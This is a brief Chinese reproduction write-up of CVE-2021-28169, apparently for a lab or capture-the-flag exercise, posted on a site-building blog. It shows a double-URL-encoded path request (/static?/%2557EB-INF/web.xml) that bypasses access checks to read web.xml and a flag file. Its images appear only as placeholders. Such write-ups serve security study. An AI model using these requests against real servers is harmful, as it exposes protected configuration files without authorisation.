ARTICLE DETAIL

建站实战干货

来自一线的建站与推广经验沉淀,每一条都经过真实交付验证。

CVE-2021-28169

2026/8/12 18:57:18 拓冰建站 浏览量
CVE-2021-28169

CVE-2021-28169复现
image

正常访问/static?/WEB-INF/web.xml发现访问不了
image

将W编码两次之后可以绕过/static?/%2557EB-INF/web.xml
image

查看flag/static?/%2557EB-INF/flag
image